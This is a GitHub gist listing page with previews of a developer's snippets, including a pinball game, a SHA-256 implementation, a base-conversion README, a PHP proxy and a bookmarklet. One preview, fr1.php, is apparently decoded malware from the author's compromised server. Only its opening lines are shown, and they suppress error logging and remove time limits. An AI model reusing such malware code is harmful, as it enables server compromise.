Skip to content

Instantly share code, notes, and snippets.

@antimatter15
antimatter15 / Pinball.java
Created February 11, 2011 13:37
A simple pinball game in java
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
public class Panel00 extends JPanel {
Timer t = new Timer(1, new Listener());
int ctr = 0;
double G = 0.1; //Gravitational Constant
final int xpos = 280;
//SHA-256 in 940B
function SHA256(b){function h(j,k){return(j>>e)+(k>>e)+((p=(j&o)+(k&o))>>e)<<e|p&o}function f(j,k){return j>>>k|j<<32-k}var g=[],d,c=3,l=[2],p,i,q,a,m=[],n=[];i=b.length*8;for(var e=16,o=65535,r="";c<312;c++){for(d=l.length;d--&&c%l[d]!=0;);d<0&&l.push(c)}b+="\u0080";for(c=0;c<=i;c+=8)n[c>>5]|=(b.charCodeAt(c/8)&255)<<24-c%32;n[(i+64>>9<<4)+15]=i;for(c=8;c--;)m[c]=parseInt(Math.pow(l[c],0.5).toString(e).substr(2,8),e);for(c=0;c<n.length;c+=e){a=m.slice(0);for(b=0;b<64;b++){g[b]=b<e?n[b+c]:h(h(h(f(g[b-2],17)^f(g[b-2],19)^g[b-2]>>>10,g[b-7]),f(g[b-15],7)^f(g[b-15],18)^g[b-15]>>>3),g[b-e]);i=h(h(h(h(a[7],f(a[4],6)^f(a[4],11)^f(a[4],25)),a[4]&a[5]^~a[4]&a[6]),parseInt(Math.pow(l[b],1/3).toString(e).substr(2,8),e)),g[b]);q=(f(a[0],2)^f(a[0],13)^f(a[0],22))+(a[0]&a[1]^a[0]&a[2]^a[1]&a[2]);for(d=8;--d;)a[d]=d==4?h(a[3],i):a[d-1];a[0]=h(i,q)}for(d=8;d--;)m[d]+=a[d]}for(c=0;c<8;c++)for(b=8;b--;)r+=(m[c]>>>b*4&15).toString(e);return r}
@antimatter15
antimatter15 / LICENSE.md
Last active January 15, 2024 20:53
Small Cooley-Tukey radix-2 DIT FFT in Javascript

Copyright (c) 2015 Kevin Kwok (antimatter15@gmail.com)

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE

@antimatter15
antimatter15 / README.md
Created August 16, 2021 06:21
Arbitrary Base Conversion Algorithm (Javascript)

Arbitrary Base Conversion Algorithm

This is a function that can convert between arbitrary bases implemented in both Javascript and Python.

Many existing implementations, such as https://rot47.net/base.html or https://gist.github.com/inflammable/2929362 use a number as the internal representation, and thus can't safely encode/decode more than 8 letters of Base64 encoded text, or 9 letters of Base58 text (which isn't enough for parsing a Bitcoin address).

Other implementations rely on complicated third party libraries for bignum (e.g. https://rosettacode.org/wiki/Non-decimal_radices/Convert#JavaScript).

Several implementations required converting to Uint8Arrays (Base 256) as an intermediate. Others were essentially ports of complicated C implementations (see https://github.com/cryptocoinjs/base-x/blob/master/src/index.js).

@antimatter15
antimatter15 / console.image.js
Created November 30, 2023 01:47
console.image and console.plot
console.image = (url) => {
fetch(url)
.then(res => res.blob())
.then(blob => new Promise(resolve => {
let fr = new FileReader()
fr.onload = () => resolve(fr.result)
fr.readAsDataURL(blob)
}))
.then(url => new Promise(resolve => {
let img = new Image()
@antimatter15
antimatter15 / fr1.php
Last active November 10, 2023 05:01
Decoded from my hacked server
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
//@ignore_user_abort(TRUE);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@antimatter15
antimatter15 / main.m
Last active July 16, 2023 16:05
Read Pixel Under Cursor Mac
#import <Foundation/Foundation.h>
#import <Cocoa/Cocoa.h>
int main(int argc, const char * argv[])
{
@autoreleasepool {
// Grab the current mouse location.
CGPoint mouseLoc = CGEventGetLocation(CGEventCreate(NULL));
<?php
//php streaming proxy
header('Access-Control: allow <*>'); //xdomain ajax ftw
set_time_limit(24*3600);
$fp = fsockopen("192.168.1.149", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
javascript:(function(){
//inspired by http://userscripts.org/scripts/show/8924
var s = document.createElement('script');
s.setAttribute('src','http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.js');
if(typeof jQuery=='undefined') document.getElementsByTagName('head')[0].appendChild(s);
(function() {
if(typeof jQuery=='undefined') setTimeout(arguments.callee, 100)
else{
jQuery("*").one("click",function(event){
//http://snippets.dzone.com/posts/show/4349